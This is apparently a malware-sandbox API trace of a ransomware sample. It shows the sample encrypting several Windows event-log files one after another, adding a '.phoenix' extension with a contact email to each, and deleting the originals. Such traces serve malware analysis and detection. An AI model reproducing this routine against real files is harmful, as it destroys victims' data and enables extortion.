	[0224.848] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0224.848] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.849] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0224.849] CloseHandle (hObject=0x2e8) returned 1
	[0224.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20
	[0224.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.849] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.850] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.850] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.850] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.850] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0224.850] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0224.850] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0224.902] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0224.902] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0224.904] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0224.904] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0224.904] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0224.904] CryptDestroyKey (hKey=0x151400) returned 1
	[0224.904] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0224.904] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0224.904] CloseHandle (hObject=0x2e8) returned 1
	[0224.904] CloseHandle (hObject=0x2c4) returned 1
	[0224.906] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1
	[0224.907] SetEvent (hEvent=0x278) returned 1
	[0224.907] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0224.907] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.908] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0224.908] CloseHandle (hObject=0x2c4) returned 1
	[0224.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20
	[0224.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.908] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.908] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.908] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.908] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.908] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0224.908] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0224.908] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.140] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.140] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.141] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0225.141] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.141] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0225.142] CryptDestroyKey (hKey=0x151200) returned 1
	[0225.142] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0225.142] CryptDestroyKey (hKey=0x151040) returned 1
	[0225.142] CloseHandle (hObject=0x2c4) returned 1
	[0225.142] CloseHandle (hObject=0x2e8) returned 1
	[0225.144] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1
	[0225.145] SetEvent (hEvent=0x278) returned 1
	[0225.145] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.146] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.146] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.146] CloseHandle (hObject=0x2e8) returned 1
	[0225.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20
	[0225.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.146] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.146] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.146] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.146] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.148] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0225.148] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.148] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.157] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.157] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.159] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0225.159] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.159] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0225.159] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0225.160] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0225.160] CryptDestroyKey (hKey=0x151380) returned 1
	[0225.160] CloseHandle (hObject=0x2e8) returned 1
	[0225.160] CloseHandle (hObject=0x2c4) returned 1
	[0225.162] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1
	[0225.163] SetEvent (hEvent=0x278) returned 1
	[0225.163] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.163] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.164] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.164] CloseHandle (hObject=0x2c4) returned 1
	[0225.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20
	[0225.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.164] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.164] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.164] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.164] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.164] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0225.165] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.165] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.243] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.244] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.246] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0225.246] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.246] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0225.246] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0225.246] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0225.246] CryptDestroyKey (hKey=0x151700) returned 1
	[0225.246] CloseHandle (hObject=0x2c4) returned 1
	[0225.246] CloseHandle (hObject=0x2e8) returned 1
	[0225.252] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1
	[0225.254] SetEvent (hEvent=0x278) returned 1
	[0225.254] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.254] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.261] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.261] CloseHandle (hObject=0x2e4) returned 1
	[0225.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20
	[0225.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.261] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.262] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.262] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.262] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.262] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0225.262] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.262] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.541] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.541] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.543] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0225.543] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.543] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0225.543] CryptDestroyKey (hKey=0x151680) returned 1
	[0225.543] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0225.543] CryptDestroyKey (hKey=0x151640) returned 1
	[0225.543] CloseHandle (hObject=0x2e4) returned 1
	[0225.543] CloseHandle (hObject=0x2cc) returned 1
	[0225.548] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1
	[0225.549] SetEvent (hEvent=0x278) returned 1
	[0225.550] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.550] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.550] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.550] CloseHandle (hObject=0x2cc) returned 1
	[0225.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20
	[0225.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.550] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.551] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.551] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.551] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.551] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0225.551] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.551] ReadFile (in: hFile=0x2cc, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.563] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
